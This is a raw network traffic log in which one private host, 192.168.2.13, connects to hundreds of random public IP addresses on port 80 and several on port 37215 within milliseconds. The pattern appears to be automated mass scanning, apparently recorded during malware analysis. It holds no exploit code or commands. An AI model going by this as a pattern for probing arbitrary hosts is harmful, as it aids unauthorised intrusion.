Jan 30, 2025 10:42:58.119126081 CET	80	38885	45.97.204.112	192.168.2.13
Jan 30, 2025 10:42:58.119136095 CET	80	38885	132.139.158.115	192.168.2.13
Jan 30, 2025 10:42:58.119144917 CET	80	38885	72.85.35.83	192.168.2.13
Jan 30, 2025 10:42:58.119153976 CET	80	38885	81.129.103.114	192.168.2.13
Jan 30, 2025 10:42:58.119163036 CET	80	38885	68.131.164.7	192.168.2.13
Jan 30, 2025 10:42:58.119163036 CET	38885	80	192.168.2.13	45.97.204.112
Jan 30, 2025 10:42:58.119163036 CET	38885	80	192.168.2.13	132.139.158.115
Jan 30, 2025 10:42:58.119174004 CET	80	38885	149.207.40.119	192.168.2.13
Jan 30, 2025 10:42:58.119177103 CET	38885	80	192.168.2.13	72.85.35.83
Jan 30, 2025 10:42:58.119180918 CET	38885	80	192.168.2.13	81.129.103.114
Jan 30, 2025 10:42:58.119184971 CET	80	38885	210.44.231.105	192.168.2.13
Jan 30, 2025 10:42:58.119194031 CET	80	38885	184.78.136.240	192.168.2.13
Jan 30, 2025 10:42:58.119203091 CET	80	38885	161.250.104.185	192.168.2.13
Jan 30, 2025 10:42:58.119211912 CET	38885	80	192.168.2.13	210.44.231.105
Jan 30, 2025 10:42:58.119219065 CET	80	38885	205.159.25.41	192.168.2.13
Jan 30, 2025 10:42:58.119230986 CET	80	38885	53.135.77.209	192.168.2.13
Jan 30, 2025 10:42:58.119230986 CET	38885	80	192.168.2.13	140.60.134.231
Jan 30, 2025 10:42:58.119236946 CET	38885	80	192.168.2.13	154.68.83.93
Jan 30, 2025 10:42:58.119237900 CET	38885	80	192.168.2.13	161.250.104.185
Jan 30, 2025 10:42:58.119246006 CET	80	38885	27.125.73.226	192.168.2.13
Jan 30, 2025 10:42:58.119249105 CET	38885	80	192.168.2.13	68.131.164.7
Jan 30, 2025 10:42:58.119255066 CET	80	38885	192.220.153.120	192.168.2.13
Jan 30, 2025 10:42:58.119259119 CET	38885	80	192.168.2.13	149.207.40.119
Jan 30, 2025 10:42:58.119261026 CET	80	38885	57.51.123.107	192.168.2.13
Jan 30, 2025 10:42:58.119261980 CET	38885	80	192.168.2.13	184.78.136.240
Jan 30, 2025 10:42:58.119261980 CET	38885	80	192.168.2.13	205.159.25.41
Jan 30, 2025 10:42:58.119262934 CET	38885	80	192.168.2.13	53.135.77.209
Jan 30, 2025 10:42:58.119285107 CET	38885	80	192.168.2.13	27.125.73.226
Jan 30, 2025 10:42:58.119298935 CET	38885	80	192.168.2.13	57.51.123.107
Jan 30, 2025 10:42:58.119302034 CET	38885	80	192.168.2.13	192.220.153.120
Jan 30, 2025 10:42:58.119493008 CET	80	38885	151.186.81.38	192.168.2.13
Jan 30, 2025 10:42:58.119503021 CET	80	38885	20.76.200.177	192.168.2.13
Jan 30, 2025 10:42:58.119510889 CET	80	38885	119.44.88.156	192.168.2.13
Jan 30, 2025 10:42:58.119519949 CET	80	38885	52.100.104.91	192.168.2.13
Jan 30, 2025 10:42:58.119528055 CET	38885	80	192.168.2.13	151.186.81.38
Jan 30, 2025 10:42:58.119535923 CET	38885	80	192.168.2.13	20.76.200.177
Jan 30, 2025 10:42:58.119537115 CET	80	38885	151.177.64.144	192.168.2.13
Jan 30, 2025 10:42:58.119540930 CET	38885	80	192.168.2.13	119.44.88.156
Jan 30, 2025 10:42:58.119548082 CET	80	38885	204.114.45.203	192.168.2.13
Jan 30, 2025 10:42:58.119549990 CET	38885	80	192.168.2.13	52.100.104.91
Jan 30, 2025 10:42:58.119556904 CET	80	38885	13.158.192.185	192.168.2.13
Jan 30, 2025 10:42:58.119570017 CET	80	38885	67.14.228.78	192.168.2.13
Jan 30, 2025 10:42:58.119577885 CET	80	38885	9.152.149.102	192.168.2.13
Jan 30, 2025 10:42:58.119582891 CET	38885	80	192.168.2.13	151.177.64.144
Jan 30, 2025 10:42:58.119584084 CET	38885	80	192.168.2.13	13.158.192.185
Jan 30, 2025 10:42:58.119587898 CET	80	38885	116.250.119.199	192.168.2.13
Jan 30, 2025 10:42:58.119590998 CET	38885	80	192.168.2.13	204.114.45.203
Jan 30, 2025 10:42:58.119596958 CET	80	38885	198.161.133.137	192.168.2.13
Jan 30, 2025 10:42:58.119599104 CET	38885	80	192.168.2.13	67.14.228.78
Jan 30, 2025 10:42:58.119606972 CET	80	38885	82.141.104.81	192.168.2.13
Jan 30, 2025 10:42:58.119615078 CET	80	38885	62.230.26.70	192.168.2.13
Jan 30, 2025 10:42:58.119623899 CET	80	38885	64.107.128.250	192.168.2.13
Jan 30, 2025 10:42:58.119628906 CET	80	38885	63.89.66.236	192.168.2.13
Jan 30, 2025 10:42:58.119627953 CET	38885	80	192.168.2.13	116.250.119.199
Jan 30, 2025 10:42:58.119632959 CET	38885	80	192.168.2.13	9.152.149.102
Jan 30, 2025 10:42:58.119647980 CET	80	38885	205.155.28.147	192.168.2.13
Jan 30, 2025 10:42:58.119656086 CET	38885	80	192.168.2.13	198.161.133.137
Jan 30, 2025 10:42:58.119657040 CET	80	38885	76.82.182.70	192.168.2.13
Jan 30, 2025 10:42:58.119672060 CET	38885	80	192.168.2.13	64.107.128.250
Jan 30, 2025 10:42:58.119676113 CET	38885	80	192.168.2.13	82.141.104.81
Jan 30, 2025 10:42:58.119676113 CET	38885	80	192.168.2.13	62.230.26.70
Jan 30, 2025 10:42:58.119676113 CET	38885	80	192.168.2.13	63.89.66.236
Jan 30, 2025 10:42:58.119678974 CET	38885	80	192.168.2.13	205.155.28.147
Jan 30, 2025 10:42:58.119679928 CET	80	38885	46.205.239.153	192.168.2.13
Jan 30, 2025 10:42:58.119688034 CET	38885	80	192.168.2.13	76.82.182.70
Jan 30, 2025 10:42:58.119699001 CET	80	38885	202.64.68.246	192.168.2.13
Jan 30, 2025 10:42:58.119708061 CET	80	38885	63.84.132.69	192.168.2.13
Jan 30, 2025 10:42:58.119713068 CET	38885	80	192.168.2.13	46.205.239.153
Jan 30, 2025 10:42:58.119716883 CET	80	38885	157.243.215.139	192.168.2.13
Jan 30, 2025 10:42:58.119725943 CET	80	38885	74.169.236.49	192.168.2.13
Jan 30, 2025 10:42:58.119735003 CET	80	38885	152.165.43.153	192.168.2.13
Jan 30, 2025 10:42:58.119739056 CET	38885	80	192.168.2.13	202.64.68.246
Jan 30, 2025 10:42:58.119739056 CET	38885	80	192.168.2.13	157.243.215.139
Jan 30, 2025 10:42:58.119740009 CET	38885	80	192.168.2.13	63.84.132.69
Jan 30, 2025 10:42:58.119745970 CET	80	38885	108.203.102.234	192.168.2.13
Jan 30, 2025 10:42:58.119755030 CET	80	38885	4.184.27.87	192.168.2.13
Jan 30, 2025 10:42:58.119760036 CET	38885	80	192.168.2.13	74.169.236.49
Jan 30, 2025 10:42:58.119762897 CET	80	38885	58.15.98.44	192.168.2.13
Jan 30, 2025 10:42:58.119767904 CET	38885	80	192.168.2.13	152.165.43.153
Jan 30, 2025 10:42:58.119771957 CET	80	38885	166.166.79.44	192.168.2.13
Jan 30, 2025 10:42:58.119771957 CET	38885	80	192.168.2.13	108.203.102.234
Jan 30, 2025 10:42:58.119781017 CET	80	38885	175.70.250.182	192.168.2.13
Jan 30, 2025 10:42:58.119793892 CET	38885	80	192.168.2.13	58.15.98.44
Jan 30, 2025 10:42:58.119796038 CET	38885	80	192.168.2.13	4.184.27.87
Jan 30, 2025 10:42:58.119803905 CET	38885	80	192.168.2.13	175.70.250.182
Jan 30, 2025 10:42:58.119803905 CET	38885	80	192.168.2.13	166.166.79.44
Jan 30, 2025 10:42:58.120054007 CET	80	38885	46.42.247.212	192.168.2.13
Jan 30, 2025 10:42:58.120083094 CET	38885	80	192.168.2.13	46.42.247.212
Jan 30, 2025 10:42:58.120116949 CET	80	38885	175.237.212.104	192.168.2.13
Jan 30, 2025 10:42:58.120126009 CET	80	38885	204.108.248.185	192.168.2.13
Jan 30, 2025 10:42:58.120134115 CET	80	38885	143.252.240.114	192.168.2.13
Jan 30, 2025 10:42:58.120145082 CET	80	38885	183.226.65.64	192.168.2.13
Jan 30, 2025 10:42:58.120151043 CET	38885	80	192.168.2.13	175.237.212.104
Jan 30, 2025 10:42:58.120152950 CET	38885	80	192.168.2.13	204.108.248.185
Jan 30, 2025 10:42:58.120156050 CET	80	38885	66.61.164.183	192.168.2.13
Jan 30, 2025 10:42:58.120168924 CET	80	38885	134.215.19.57	192.168.2.13
Jan 30, 2025 10:42:58.120174885 CET	38885	80	192.168.2.13	143.252.240.114
Jan 30, 2025 10:42:58.120182037 CET	38885	80	192.168.2.13	183.226.65.64
Jan 30, 2025 10:42:58.120196104 CET	38885	80	192.168.2.13	66.61.164.183
Jan 30, 2025 10:42:58.120198011 CET	38885	80	192.168.2.13	134.215.19.57
Jan 30, 2025 10:42:58.120275021 CET	80	38885	109.119.116.146	192.168.2.13
Jan 30, 2025 10:42:58.120285034 CET	80	38885	161.193.3.71	192.168.2.13
Jan 30, 2025 10:42:58.120292902 CET	80	38885	202.61.99.119	192.168.2.13
Jan 30, 2025 10:42:58.120301962 CET	80	38885	175.231.195.201	192.168.2.13
Jan 30, 2025 10:42:58.120312929 CET	38885	80	192.168.2.13	161.193.3.71
Jan 30, 2025 10:42:58.120312929 CET	38885	80	192.168.2.13	109.119.116.146
Jan 30, 2025 10:42:58.120320082 CET	38885	80	192.168.2.13	202.61.99.119
Jan 30, 2025 10:42:58.120332956 CET	80	38885	116.20.216.85	192.168.2.13
Jan 30, 2025 10:42:58.120333910 CET	38885	80	192.168.2.13	175.231.195.201
Jan 30, 2025 10:42:58.120343924 CET	80	38885	91.58.94.100	192.168.2.13
Jan 30, 2025 10:42:58.120352983 CET	80	38885	193.92.48.233	192.168.2.13
Jan 30, 2025 10:42:58.120361090 CET	80	38885	145.90.15.173	192.168.2.13
Jan 30, 2025 10:42:58.120369911 CET	80	38885	133.82.178.10	192.168.2.13
Jan 30, 2025 10:42:58.120371103 CET	38885	80	192.168.2.13	116.20.216.85
Jan 30, 2025 10:42:58.120371103 CET	38885	80	192.168.2.13	91.58.94.100
Jan 30, 2025 10:42:58.120378971 CET	80	38885	83.250.218.46	192.168.2.13
Jan 30, 2025 10:42:58.120379925 CET	38885	80	192.168.2.13	193.92.48.233
Jan 30, 2025 10:42:58.120388031 CET	80	38885	65.71.195.152	192.168.2.13
Jan 30, 2025 10:42:58.120397091 CET	80	38885	66.208.141.198	192.168.2.13
Jan 30, 2025 10:42:58.120405912 CET	80	38885	103.72.190.172	192.168.2.13
Jan 30, 2025 10:42:58.120408058 CET	38885	80	192.168.2.13	145.90.15.173
Jan 30, 2025 10:42:58.120408058 CET	38885	80	192.168.2.13	83.250.218.46
Jan 30, 2025 10:42:58.120409966 CET	38885	80	192.168.2.13	133.82.178.10
Jan 30, 2025 10:42:58.120414019 CET	80	38885	165.157.242.131	192.168.2.13
Jan 30, 2025 10:42:58.120424032 CET	38885	80	192.168.2.13	65.71.195.152
Jan 30, 2025 10:42:58.120429039 CET	38885	80	192.168.2.13	66.208.141.198
Jan 30, 2025 10:42:58.120431900 CET	80	38885	73.160.135.116	192.168.2.13
Jan 30, 2025 10:42:58.120440006 CET	38885	80	192.168.2.13	103.72.190.172
Jan 30, 2025 10:42:58.120446920 CET	80	38885	88.116.148.47	192.168.2.13
Jan 30, 2025 10:42:58.120451927 CET	38885	80	192.168.2.13	165.157.242.131
Jan 30, 2025 10:42:58.120460987 CET	80	38885	133.119.239.213	192.168.2.13
Jan 30, 2025 10:42:58.120467901 CET	38885	80	192.168.2.13	73.160.135.116
Jan 30, 2025 10:42:58.120470047 CET	80	38885	47.58.239.244	192.168.2.13
Jan 30, 2025 10:42:58.120485067 CET	38885	80	192.168.2.13	88.116.148.47
Jan 30, 2025 10:42:58.120486021 CET	80	38885	191.70.61.43	192.168.2.13
Jan 30, 2025 10:42:58.120488882 CET	38885	80	192.168.2.13	133.119.239.213
Jan 30, 2025 10:42:58.120496035 CET	80	38885	69.229.23.24	192.168.2.13
Jan 30, 2025 10:42:58.120501041 CET	38885	80	192.168.2.13	47.58.239.244
Jan 30, 2025 10:42:58.120505095 CET	80	38885	164.37.38.233	192.168.2.13
Jan 30, 2025 10:42:58.120529890 CET	38885	80	192.168.2.13	191.70.61.43
Jan 30, 2025 10:42:58.120531082 CET	38885	80	192.168.2.13	69.229.23.24
Jan 30, 2025 10:42:58.120548010 CET	38885	80	192.168.2.13	164.37.38.233
Jan 30, 2025 10:42:58.120789051 CET	80	38885	79.95.47.220	192.168.2.13
Jan 30, 2025 10:42:58.120798111 CET	80	38885	223.173.141.112	192.168.2.13
Jan 30, 2025 10:42:58.120807886 CET	80	38885	71.98.117.6	192.168.2.13
Jan 30, 2025 10:42:58.120815992 CET	80	38885	92.113.30.64	192.168.2.13
Jan 30, 2025 10:42:58.120825052 CET	80	38885	50.160.143.51	192.168.2.13
Jan 30, 2025 10:42:58.120827913 CET	38885	80	192.168.2.13	79.95.47.220
Jan 30, 2025 10:42:58.120834112 CET	80	38885	108.75.53.168	192.168.2.13
Jan 30, 2025 10:42:58.120836973 CET	38885	80	192.168.2.13	71.98.117.6
Jan 30, 2025 10:42:58.120843887 CET	80	38885	151.187.90.91	192.168.2.13
Jan 30, 2025 10:42:58.120843887 CET	38885	80	192.168.2.13	223.173.141.112
Jan 30, 2025 10:42:58.120843887 CET	38885	80	192.168.2.13	92.113.30.64
Jan 30, 2025 10:42:58.120852947 CET	80	38885	160.28.27.235	192.168.2.13
Jan 30, 2025 10:42:58.120861053 CET	38885	80	192.168.2.13	50.160.143.51
Jan 30, 2025 10:42:58.120868921 CET	80	38885	144.160.186.192	192.168.2.13
Jan 30, 2025 10:42:58.120871067 CET	38885	80	192.168.2.13	108.75.53.168
Jan 30, 2025 10:42:58.120871067 CET	38885	80	192.168.2.13	151.187.90.91
Jan 30, 2025 10:42:58.120879889 CET	80	38885	137.21.117.160	192.168.2.13
Jan 30, 2025 10:42:58.120887041 CET	38885	80	192.168.2.13	160.28.27.235
Jan 30, 2025 10:42:58.120894909 CET	80	38885	209.234.122.10	192.168.2.13
Jan 30, 2025 10:42:58.120898008 CET	38885	80	192.168.2.13	144.160.186.192
Jan 30, 2025 10:42:58.120906115 CET	80	38885	105.214.124.210	192.168.2.13
Jan 30, 2025 10:42:58.120912075 CET	38885	80	192.168.2.13	137.21.117.160
Jan 30, 2025 10:42:58.120924950 CET	80	38885	83.115.40.155	192.168.2.13
Jan 30, 2025 10:42:58.120927095 CET	38885	80	192.168.2.13	209.234.122.10
Jan 30, 2025 10:42:58.120934010 CET	80	38885	84.164.13.86	192.168.2.13
Jan 30, 2025 10:42:58.120944023 CET	80	38885	185.202.128.86	192.168.2.13
Jan 30, 2025 10:42:58.120945930 CET	38885	80	192.168.2.13	105.214.124.210
Jan 30, 2025 10:42:58.120953083 CET	80	38885	42.171.244.204	192.168.2.13
Jan 30, 2025 10:42:58.120960951 CET	38885	80	192.168.2.13	83.115.40.155
Jan 30, 2025 10:42:58.120969057 CET	80	38885	69.168.226.184	192.168.2.13
Jan 30, 2025 10:42:58.120970964 CET	38885	80	192.168.2.13	84.164.13.86
Jan 30, 2025 10:42:58.120978117 CET	80	38885	4.250.65.50	192.168.2.13
Jan 30, 2025 10:42:58.120981932 CET	38885	80	192.168.2.13	185.202.128.86
Jan 30, 2025 10:42:58.120986938 CET	80	38885	201.161.169.121	192.168.2.13
Jan 30, 2025 10:42:58.120990038 CET	38885	80	192.168.2.13	42.171.244.204
Jan 30, 2025 10:42:58.120995998 CET	80	38885	152.48.141.7	192.168.2.13
Jan 30, 2025 10:42:58.120999098 CET	80	38885	106.67.150.195	192.168.2.13
Jan 30, 2025 10:42:58.121009111 CET	80	38885	82.17.1.156	192.168.2.13
Jan 30, 2025 10:42:58.121009111 CET	38885	80	192.168.2.13	69.168.226.184
Jan 30, 2025 10:42:58.121015072 CET	38885	80	192.168.2.13	4.250.65.50
Jan 30, 2025 10:42:58.121018887 CET	80	38885	42.79.186.50	192.168.2.13
Jan 30, 2025 10:42:58.121028900 CET	38885	80	192.168.2.13	201.161.169.121
Jan 30, 2025 10:42:58.121028900 CET	38885	80	192.168.2.13	106.67.150.195
Jan 30, 2025 10:42:58.121035099 CET	38885	80	192.168.2.13	152.48.141.7
Jan 30, 2025 10:42:58.121036053 CET	38885	80	192.168.2.13	82.17.1.156
Jan 30, 2025 10:42:58.121041059 CET	80	38885	107.206.181.99	192.168.2.13
Jan 30, 2025 10:42:58.121052027 CET	38885	80	192.168.2.13	42.79.186.50
Jan 30, 2025 10:42:58.121052980 CET	80	38885	168.251.148.100	192.168.2.13
Jan 30, 2025 10:42:58.121062040 CET	80	38885	218.89.226.230	192.168.2.13
Jan 30, 2025 10:42:58.121069908 CET	80	38885	138.183.207.203	192.168.2.13
Jan 30, 2025 10:42:58.121073961 CET	38885	80	192.168.2.13	107.206.181.99
Jan 30, 2025 10:42:58.121078968 CET	80	38885	219.146.108.246	192.168.2.13
Jan 30, 2025 10:42:58.121088028 CET	38885	80	192.168.2.13	218.89.226.230
Jan 30, 2025 10:42:58.121090889 CET	38885	80	192.168.2.13	168.251.148.100
Jan 30, 2025 10:42:58.121098042 CET	38885	80	192.168.2.13	138.183.207.203
Jan 30, 2025 10:42:58.121109009 CET	38885	80	192.168.2.13	219.146.108.246
Jan 30, 2025 10:42:58.121311903 CET	80	38885	112.183.166.222	192.168.2.13
Jan 30, 2025 10:42:58.121347904 CET	38885	80	192.168.2.13	112.183.166.222
Jan 30, 2025 10:42:58.121397972 CET	80	38885	14.61.216.243	192.168.2.13
Jan 30, 2025 10:42:58.121407032 CET	80	38885	123.189.27.178	192.168.2.13
Jan 30, 2025 10:42:58.121414900 CET	80	38885	51.161.166.97	192.168.2.13
Jan 30, 2025 10:42:58.121423006 CET	80	38885	148.89.21.136	192.168.2.13
Jan 30, 2025 10:42:58.121431112 CET	80	38885	204.198.84.210	192.168.2.13
Jan 30, 2025 10:42:58.121433973 CET	38885	80	192.168.2.13	14.61.216.243
Jan 30, 2025 10:42:58.121442080 CET	80	38885	101.175.98.33	192.168.2.13
Jan 30, 2025 10:42:58.121448994 CET	38885	80	192.168.2.13	123.189.27.178
Jan 30, 2025 10:42:58.121448994 CET	38885	80	192.168.2.13	148.89.21.136
Jan 30, 2025 10:42:58.121450901 CET	38885	80	192.168.2.13	51.161.166.97
Jan 30, 2025 10:42:58.121460915 CET	80	38885	183.104.248.214	192.168.2.13
Jan 30, 2025 10:42:58.121460915 CET	38885	80	192.168.2.13	204.198.84.210
Jan 30, 2025 10:42:58.121468067 CET	38885	80	192.168.2.13	101.175.98.33
Jan 30, 2025 10:42:58.121476889 CET	80	38885	17.54.89.119	192.168.2.13
Jan 30, 2025 10:42:58.121485949 CET	80	38885	191.159.9.187	192.168.2.13
Jan 30, 2025 10:42:58.121495008 CET	80	38885	150.155.106.49	192.168.2.13
Jan 30, 2025 10:42:58.121498108 CET	38885	80	192.168.2.13	183.104.248.214
Jan 30, 2025 10:42:58.121506929 CET	38885	80	192.168.2.13	17.54.89.119
Jan 30, 2025 10:42:58.121510983 CET	80	38885	50.225.90.224	192.168.2.13
Jan 30, 2025 10:42:58.121514082 CET	38885	80	192.168.2.13	191.159.9.187
Jan 30, 2025 10:42:58.121521950 CET	80	38885	221.142.170.110	192.168.2.13
Jan 30, 2025 10:42:58.121521950 CET	38885	80	192.168.2.13	150.155.106.49
Jan 30, 2025 10:42:58.121531010 CET	80	38885	139.186.117.42	192.168.2.13
Jan 30, 2025 10:42:58.121541023 CET	80	38885	204.100.230.56	192.168.2.13
Jan 30, 2025 10:42:58.121548891 CET	80	38885	179.158.221.247	192.168.2.13
Jan 30, 2025 10:42:58.121551991 CET	38885	80	192.168.2.13	50.225.90.224
Jan 30, 2025 10:42:58.121560097 CET	80	38885	208.237.195.35	192.168.2.13
Jan 30, 2025 10:42:58.121560097 CET	38885	80	192.168.2.13	221.142.170.110
Jan 30, 2025 10:42:58.121560097 CET	38885	80	192.168.2.13	139.186.117.42
Jan 30, 2025 10:42:58.121568918 CET	38885	80	192.168.2.13	204.100.230.56
Jan 30, 2025 10:42:58.121570110 CET	80	38885	85.96.20.95	192.168.2.13
Jan 30, 2025 10:42:58.121581078 CET	38885	80	192.168.2.13	179.158.221.247
Jan 30, 2025 10:42:58.121588945 CET	80	38885	93.0.138.161	192.168.2.13
Jan 30, 2025 10:42:58.121598005 CET	80	38885	168.33.147.150	192.168.2.13
Jan 30, 2025 10:42:58.121599913 CET	38885	80	192.168.2.13	208.237.195.35
Jan 30, 2025 10:42:58.121607065 CET	80	38885	192.55.226.60	192.168.2.13
Jan 30, 2025 10:42:58.121613026 CET	38885	80	192.168.2.13	85.96.20.95
Jan 30, 2025 10:42:58.121615887 CET	80	38885	193.14.184.141	192.168.2.13
Jan 30, 2025 10:42:58.121622086 CET	38885	80	192.168.2.13	93.0.138.161
Jan 30, 2025 10:42:58.121624947 CET	80	38885	134.204.217.122	192.168.2.13
Jan 30, 2025 10:42:58.121634960 CET	38885	80	192.168.2.13	192.55.226.60
Jan 30, 2025 10:42:58.121635914 CET	80	38885	123.44.252.46	192.168.2.13
Jan 30, 2025 10:42:58.121630907 CET	38885	80	192.168.2.13	168.33.147.150
Jan 30, 2025 10:42:58.121644974 CET	38885	80	192.168.2.13	193.14.184.141
Jan 30, 2025 10:42:58.121644974 CET	80	38885	121.39.57.208	192.168.2.13
Jan 30, 2025 10:42:58.121655941 CET	80	38885	104.70.44.64	192.168.2.13
Jan 30, 2025 10:42:58.121659994 CET	38885	80	192.168.2.13	134.204.217.122
Jan 30, 2025 10:42:58.121665001 CET	80	38885	147.194.45.254	192.168.2.13
Jan 30, 2025 10:42:58.121670008 CET	38885	80	192.168.2.13	123.44.252.46
Jan 30, 2025 10:42:58.121673107 CET	38885	80	192.168.2.13	121.39.57.208
Jan 30, 2025 10:42:58.121674061 CET	80	38885	61.168.170.177	192.168.2.13
Jan 30, 2025 10:42:58.121694088 CET	38885	80	192.168.2.13	104.70.44.64
Jan 30, 2025 10:42:58.121701956 CET	38885	80	192.168.2.13	147.194.45.254
Jan 30, 2025 10:42:58.121701956 CET	38885	80	192.168.2.13	61.168.170.177
Jan 30, 2025 10:42:58.122015953 CET	80	38885	159.92.178.118	192.168.2.13
Jan 30, 2025 10:42:58.122025967 CET	80	38885	45.241.242.141	192.168.2.13
Jan 30, 2025 10:42:58.122035027 CET	80	38885	48.81.172.181	192.168.2.13
Jan 30, 2025 10:42:58.122044086 CET	80	38885	45.98.186.104	192.168.2.13
Jan 30, 2025 10:42:58.122055054 CET	80	38885	106.72.131.198	192.168.2.13
Jan 30, 2025 10:42:58.122059107 CET	38885	80	192.168.2.13	159.92.178.118
Jan 30, 2025 10:42:58.122059107 CET	38885	80	192.168.2.13	45.241.242.141
Jan 30, 2025 10:42:58.122064114 CET	80	38885	193.230.206.150	192.168.2.13
Jan 30, 2025 10:42:58.122080088 CET	80	38885	88.198.247.186	192.168.2.13
Jan 30, 2025 10:42:58.122091055 CET	38885	80	192.168.2.13	45.98.186.104
Jan 30, 2025 10:42:58.122093916 CET	80	38885	84.180.105.80	192.168.2.13
Jan 30, 2025 10:42:58.122095108 CET	38885	80	192.168.2.13	106.72.131.198
Jan 30, 2025 10:42:58.122101068 CET	38885	80	192.168.2.13	48.81.172.181
Jan 30, 2025 10:42:58.122101068 CET	38885	80	192.168.2.13	193.230.206.150
Jan 30, 2025 10:42:58.122102976 CET	80	38885	83.6.96.121	192.168.2.13
Jan 30, 2025 10:42:58.122112989 CET	80	38885	96.102.254.39	192.168.2.13
Jan 30, 2025 10:42:58.122118950 CET	38885	80	192.168.2.13	88.198.247.186
Jan 30, 2025 10:42:58.122122049 CET	80	38885	18.33.202.2	192.168.2.13
Jan 30, 2025 10:42:58.122124910 CET	38885	80	192.168.2.13	84.180.105.80
Jan 30, 2025 10:42:58.122131109 CET	80	38885	91.186.196.210	192.168.2.13
Jan 30, 2025 10:42:58.122138977 CET	38885	80	192.168.2.13	83.6.96.121
Jan 30, 2025 10:42:58.122144938 CET	38885	80	192.168.2.13	96.102.254.39
Jan 30, 2025 10:42:58.122148991 CET	80	38885	31.83.254.37	192.168.2.13
Jan 30, 2025 10:42:58.122155905 CET	38885	80	192.168.2.13	18.33.202.2
Jan 30, 2025 10:42:58.122159958 CET	80	38885	47.122.175.23	192.168.2.13
Jan 30, 2025 10:42:58.122169971 CET	80	38885	175.135.203.193	192.168.2.13
Jan 30, 2025 10:42:58.122167110 CET	38885	80	192.168.2.13	91.186.196.210
Jan 30, 2025 10:42:58.122179031 CET	80	38885	111.156.140.247	192.168.2.13
Jan 30, 2025 10:42:58.122181892 CET	38885	80	192.168.2.13	31.83.254.37
Jan 30, 2025 10:42:58.122189045 CET	80	38885	190.1.82.116	192.168.2.13
Jan 30, 2025 10:42:58.122196913 CET	38885	80	192.168.2.13	47.122.175.23
Jan 30, 2025 10:42:58.122199059 CET	80	38885	203.224.90.122	192.168.2.13
Jan 30, 2025 10:42:58.122201920 CET	38885	80	192.168.2.13	175.135.203.193
Jan 30, 2025 10:42:58.122206926 CET	38885	80	192.168.2.13	111.156.140.247
Jan 30, 2025 10:42:58.122214079 CET	38885	80	192.168.2.13	190.1.82.116
Jan 30, 2025 10:42:58.122216940 CET	80	38885	216.140.122.162	192.168.2.13
Jan 30, 2025 10:42:58.122226954 CET	80	38885	162.101.234.149	192.168.2.13
Jan 30, 2025 10:42:58.122231007 CET	38885	80	192.168.2.13	203.224.90.122
Jan 30, 2025 10:42:58.122236013 CET	80	38885	72.128.224.39	192.168.2.13
Jan 30, 2025 10:42:58.122245073 CET	80	38885	125.161.12.226	192.168.2.13
Jan 30, 2025 10:42:58.122255087 CET	38885	80	192.168.2.13	216.140.122.162
Jan 30, 2025 10:42:58.122255087 CET	38885	80	192.168.2.13	162.101.234.149
Jan 30, 2025 10:42:58.122261047 CET	38885	80	192.168.2.13	72.128.224.39
Jan 30, 2025 10:42:58.122267962 CET	80	38885	169.108.190.3	192.168.2.13
Jan 30, 2025 10:42:58.122278929 CET	80	38885	147.210.231.103	192.168.2.13
Jan 30, 2025 10:42:58.122291088 CET	80	38885	187.241.3.200	192.168.2.13
Jan 30, 2025 10:42:58.122297049 CET	38885	80	192.168.2.13	125.161.12.226
Jan 30, 2025 10:42:58.122301102 CET	80	38885	117.76.243.77	192.168.2.13
Jan 30, 2025 10:42:58.122301102 CET	38885	80	192.168.2.13	169.108.190.3
Jan 30, 2025 10:42:58.122311115 CET	80	38885	88.8.127.225	192.168.2.13
Jan 30, 2025 10:42:58.122318983 CET	38885	80	192.168.2.13	147.210.231.103
Jan 30, 2025 10:42:58.122320890 CET	80	38885	44.131.199.139	192.168.2.13
Jan 30, 2025 10:42:58.122325897 CET	38885	80	192.168.2.13	187.241.3.200
Jan 30, 2025 10:42:58.122339010 CET	38885	80	192.168.2.13	117.76.243.77
Jan 30, 2025 10:42:58.122340918 CET	38885	80	192.168.2.13	88.8.127.225
Jan 30, 2025 10:42:58.122354031 CET	38885	80	192.168.2.13	44.131.199.139
Jan 30, 2025 10:42:58.122509003 CET	80	38885	147.125.249.209	192.168.2.13
Jan 30, 2025 10:42:58.122518063 CET	80	38885	13.244.148.137	192.168.2.13
Jan 30, 2025 10:42:58.122528076 CET	80	38885	50.100.190.47	192.168.2.13
Jan 30, 2025 10:42:58.122536898 CET	38885	80	192.168.2.13	147.125.249.209
Jan 30, 2025 10:42:58.122541904 CET	38885	80	192.168.2.13	13.244.148.137
Jan 30, 2025 10:42:58.122551918 CET	80	38885	208.193.22.244	192.168.2.13
Jan 30, 2025 10:42:58.122553110 CET	38885	80	192.168.2.13	50.100.190.47
Jan 30, 2025 10:42:58.122561932 CET	80	38885	99.52.121.239	192.168.2.13
Jan 30, 2025 10:42:58.122580051 CET	38811	37215	192.168.2.13	197.15.93.92
Jan 30, 2025 10:42:58.122591972 CET	38885	80	192.168.2.13	208.193.22.244
Jan 30, 2025 10:42:58.122592926 CET	38885	80	192.168.2.13	99.52.121.239
Jan 30, 2025 10:42:58.122613907 CET	80	38885	203.234.183.184	192.168.2.13
Jan 30, 2025 10:42:58.122622967 CET	80	38885	146.92.34.235	192.168.2.13
Jan 30, 2025 10:42:58.122632980 CET	80	38885	53.169.177.112	192.168.2.13
Jan 30, 2025 10:42:58.122642994 CET	38885	80	192.168.2.13	203.234.183.184
Jan 30, 2025 10:42:58.122652054 CET	80	38885	195.138.29.222	192.168.2.13
Jan 30, 2025 10:42:58.122661114 CET	80	38885	102.126.246.174	192.168.2.13
Jan 30, 2025 10:42:58.122663021 CET	38885	80	192.168.2.13	146.92.34.235
Jan 30, 2025 10:42:58.122675896 CET	38885	80	192.168.2.13	53.169.177.112
Jan 30, 2025 10:42:58.122673035 CET	38811	37215	192.168.2.13	197.210.224.92
Jan 30, 2025 10:42:58.122684002 CET	80	38885	84.238.167.218	192.168.2.13
Jan 30, 2025 10:42:58.122694016 CET	38885	80	192.168.2.13	102.126.246.174
Jan 30, 2025 10:42:58.122694016 CET	38885	80	192.168.2.13	195.138.29.222
Jan 30, 2025 10:42:58.122694016 CET	38811	37215	192.168.2.13	197.159.203.66
Jan 30, 2025 10:42:58.122694016 CET	38811	37215	192.168.2.13	156.196.248.9
Jan 30, 2025 10:42:58.122701883 CET	80	38885	25.93.7.44	192.168.2.13
Jan 30, 2025 10:42:58.122711897 CET	80	38885	82.79.76.128	192.168.2.13
Jan 30, 2025 10:42:58.122721910 CET	80	38885	220.22.31.67	192.168.2.13
Jan 30, 2025 10:42:58.122725010 CET	38885	80	192.168.2.13	84.238.167.218
Jan 30, 2025 10:42:58.122731924 CET	38885	80	192.168.2.13	25.93.7.44
